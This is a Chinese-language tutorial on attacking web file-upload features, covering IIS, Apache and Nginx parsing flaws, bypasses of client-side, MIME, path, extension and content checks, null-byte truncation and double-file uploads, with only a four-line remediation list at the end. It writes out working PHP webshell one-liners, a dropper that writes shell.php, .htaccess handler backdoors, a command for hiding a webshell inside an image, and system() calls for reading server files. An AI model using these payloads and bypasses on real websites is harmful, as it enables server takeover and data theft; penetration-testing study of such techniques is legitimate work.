內容大綱:
一、文件解析漏洞
二、上傳本地驗證繞過
三、上傳服務器端驗證繞過
四、漏洞高級玩法
五、上傳漏洞修復
一、文件解析漏洞
概念:
黑客將惡意文件上傳到服務器中解析漏洞主要說的是一些特殊文件被iis、apache、nginx在某種情況下解釋成腳本文件格式的漏洞
1.1、IIS6.0解析漏洞
1.目錄解析
--創建/xx.asp/,上傳圖片馬,即路徑為:/xx.asp/xx.jpg,打開圖片會被當着腳本來解析
,其目錄內的任何擴展名的文件都被IIS當作asp文件來解析並執行。
2、分號解析
--nfck.asp;.jpg(其他類型nfck.php/.jpg nfck.php.jpg)
在IIS6.0下,分號后面的不被解析,會被服務器看成是xx.asp
3、畸形文件名解析
上傳.asa\.cer\.cdx\.asax這四種文件格式也會被當着asp腳本來解析
1.2Apache解析漏洞
Apache是從右到左開始判斷解析,如果為不可識別解析,就再往左判斷
比如nfck.php.owf.rar ".owf"和“.rar”這兩種后綴是Apache不可識別解析,Apache就會把該文件解析成PHP
如何判斷是不是合法的后綴就是這個漏洞的利用關鍵,測試時可以嘗試上傳一個nfck.php.rara.jpg.png...
把知道的后綴都寫一遍,去測試是否為合法后綴
任意不識別的后綴,自動向上識別
比如禁止上傳的文件格式為PHP\ASP\ASPX\ASA等
那么把上傳的文件這樣寫,X.PHP.NFCK
讓后面的后綴名識別不了,就上傳了一個X.PHP的文件
也可以直接將文件改成X.PHP. 后面加個點,或加個下划線_
1.3、IIS7.0/7.5/Nginx<8.03嶇形解析漏洞
Nginx解析漏洞這個偉大的漏洞是我國安全組織80sec發現的…在默認Fast-CGI開啟狀況下,黑闊上傳一個名字為cracer.jpg,
內容為
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件,
然后訪問cracer.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php
注:不僅僅是iis7.0/7.5,只要Fast-CGI開啟狀況下都可以利用該漏洞
1.4htaccess文件解析
一般為留后門使用,如果在Apache中.htaccess可被執行.且可被上傳.那可以嘗試在.htaccess中寫入:
<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch>
然后再上傳shell.jpg的木馬, 這樣shell.jpg就可解析為php文件
1.5ntfs流漏洞
在windows系統的網站下,上傳一個名稱為:
a.asp.
a.asp_
a.asp. .
等網站無法識別的后綴,網站就把他當做成一個asp文件來進行執行,但是只能在啟用黑名單的情況下使用
二、上傳本地驗證繞過
2.1、上傳檢測流程概述
通常一個文件以 HTTP 協議進行上傳時,將以 POST 請求發送至 web 服務器 web 服務器接收到請求后並同意后,用戶與 web 服務器將建立連接,並傳輸 data
2.2、服務器命名規則
第一種類型:上傳文件名和服務器命名一致
第二種類型:上傳文件名和服務器命名不一致(隨機,時間日期命名等)
2.3、常見的上傳檢測方式
1.客戶端 javascript 檢測 (通常為檢測文件擴展名)
2.服務端 MIME 類型檢測 (檢測 Content-Type 內容)
3.服務端目錄路徑檢測 (檢測跟 path 參數相關的內容)
4.服務端文件擴展名檢測 (檢測跟文件 extension 相關的內容)
5.服務端文件內容檢測 (檢測內容是否合法或含有惡意代碼)
2.4、JS本地驗證繞過
網站會采用白名單或者黑名單的形式限制文件上傳的格式,當我們上傳一個惡意文件文件時,會彈出窗口阻止,我們用burpsuite抓包,如果沒有數據包,則代表網站用的上傳驗證是本地JS驗證,在審查元素中仔細查看是可以發現允許上傳文件或禁止上傳文件的格式名稱,我們添加或者刪除就可以了。
把本地檢測函數給去掉,如:ongubmit="return checkfile()"
三、上傳服務器端驗證繞過
3.1、服務端檢測繞過(MIME 類型檢測)
MIME的作用 : 使客戶端軟件,區分不同種類的數據,例如web瀏覽器就是通過MIME類型來判斷文件是GIF圖片,還是可打印的PostScript文件。
web服務器使用MIME來說明發送數據的種類, web客戶端使用MIME來說明希望接收到的數據種類。
Tomcat的安裝目錄\conf\web.xml 中就定義了大量MIME類型 ,你可也去看一下。
繞過方法:
直接使用burp抓包,得到post上傳數據后,將 Content-Type: text/plain改成 Content-Type: image/gif
就可以成功繞過。
3.2、服務端檢測繞過(目錄路徑檢測)
目錄路徑檢測,一般就檢測路徑是否合法,可以利用目錄路徑繞過配合iis解析漏洞
在上傳目錄/后加上xx.asp/,這樣就創建了一個xx.asp的目錄,利用目錄解析漏洞可以執行腳本。或者修改目錄為/xx.asp;.,那么就上傳了一個XX.ASP;.XX.JPG的文件 訪問也是可以解析的,也可以進行目錄截斷,在目錄后/xx.asp%00,選擇%00點擊ctrl+shift+U,然后上傳進行截斷,就上傳了一個xx.asp腳本。
通過改變文件名稱也可以繞過,比如上傳一個文件名為xx.asp/xx.jpg文件,他也會創建一個xx.asp目錄。
在上傳腳本文件的時候,服務器沒有對齊進行限制,但是在上傳的目錄上卻沒有執行的權限,可以在xx.asp前面加上../xx.asp 這樣文件就上傳到了他的上一級目錄上,如果沒有權限那么就一直返回,直到根目錄下。
3.3、服務端檢測繞過(文件擴展名檢測)
3.3.1、檢測的兩種方式
1、黑名單檢測
黑名單的安全性比白名單的安全性低很多,攻擊手法自然也比白名單多 一般有個專門的 blacklist 文件,里面會包含常見的危險腳本文件例如 fckeditor 2.4.3 或之前版本的黑名單
2、白名單檢測
白名單相對來說比黑名單安全一些,但也不見得就絕對安全了
3.3.2、黑名檢測繞過:
1. 文件名大小寫繞過
用像 AsP,pHp 之類的文件名繞過黑名單檢測
2. 名單列表繞過
用黑名單里沒有的名單進行攻擊,比如黑名單里沒有 asa 或 cer 之類
3. 特殊文件名繞過
比如發送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划線為空格),這種命名方式 在 windows 系統里是不被允許的,所以需要在 burp 之類里進行修改,然后繞過驗證后,會 被 windows 系統自動去掉后面的點和空格,但要注意 Unix/Linux 系統沒有這個特性。
4. 0x00 截斷繞過
用像 test.asp%00.jpg 的方式進行截斷,屬於白名單文件,再利用服務端代碼的檢測邏輯漏洞進行攻擊,目前我只遇到過 asp 的程序有這種漏洞,ctrl+shift+U
3.3.3繞過白名單
1. 0x00 截斷繞過
用像 test.asp%00.jpg 的方式進行截斷,屬於白名單文件,再利用服務端代碼的檢測邏輯漏洞進行攻擊,目前我只遇到過 asp 的程序有這種漏洞,ctrl+shift+U
2. 解析漏洞或者配合文件包含
3.3.4雙文件上傳
條件:
接受兩個文件同時上傳
只檢測了第一個文件擴展名
動易、南方、良精等CMS存在該漏洞
用burpsuite抓包,然后將請求頭部分下面的內容負責,開頭為-----,結尾為----------
其他地方不用負責,然后粘貼到第一個文件結尾-------后面,把第二個文件開頭------去掉
將第一個文件的name=xxxx修改為name=xxxx1,修改文件名為cer或者asa等即可上傳成功
4、服務端檢測繞過(文件內容檢測)
二次渲染:將圖片中不需要的內容進行過濾,留下圖片最基本的內容,這樣就把一句話代碼給去掉了
WAF檢查文件內容(阿里雲、知道創宇、長亭科技等):將一句話中的標簽給過濾等
將標簽中的php去掉,變為<??>即可
四、漏洞高級玩法
4.1、.htaccess 文件攻擊
通過一個.htaccess 文件調用 php 的解析器去解析一個文件名中只要包含"haha"這個字符串的 任意文件,所以無論文件名是什么樣子,只要包含"haha"這個字符串,都可以被以 php 的方 式來解析,是不是相當邪惡,一個自定義的.htaccess 文件就可以以各種各樣的方式去繞過很 多上傳驗證機制
建一個.htaccess 文件,里面的內容如下
<FilesMatch "haha">
SetHandler application/x-httpd-php </FilesMatch>
同目錄有個我們上傳一個只有文件名並包含字符串"haha",但是卻無任何擴展名的文件 里面的內容是 php 一句話木馬
4.2、表單提交按鈕
有些上傳界面只有瀏覽文件按鈕,沒有上傳按鈕,那么我們就要自己寫一個上傳按鈕。用火狐瀏覽器選擇上傳框右鍵審查元素,然后編輯HTML,寫上<input type="gubmit">
寫入表單
<input type="submit" value="提交" name="bb">
4.3、制作圖片馬技巧
准備一張圖片和一個空文本,然后空文本寫入一句話木馬,cmd輸入命令 copy1.jpg/b+1.txt/a 2.jpg
將一句話木馬內容與圖片內容進行合並、
一句話:<?php @eval($_GET['cmd']; ?> 密碼cmd
可以使用菜刀連接或瀏覽器輸入?cmd=phpinfo();
system('dir'); 可以爆網站目錄
system('type d:\\phpstudy\\www\\dvwa-1.9\\php.ini'); 可以查看網站目錄文件內容
\需要轉譯,而轉譯后是\,所以是\\
五、上傳漏洞修復:
1、設置上傳文件大小和格式內容相匹配
2、存儲目錄執行權限
3、站庫分離(存儲目錄與web分離)
4、文件上傳后壓縮重生成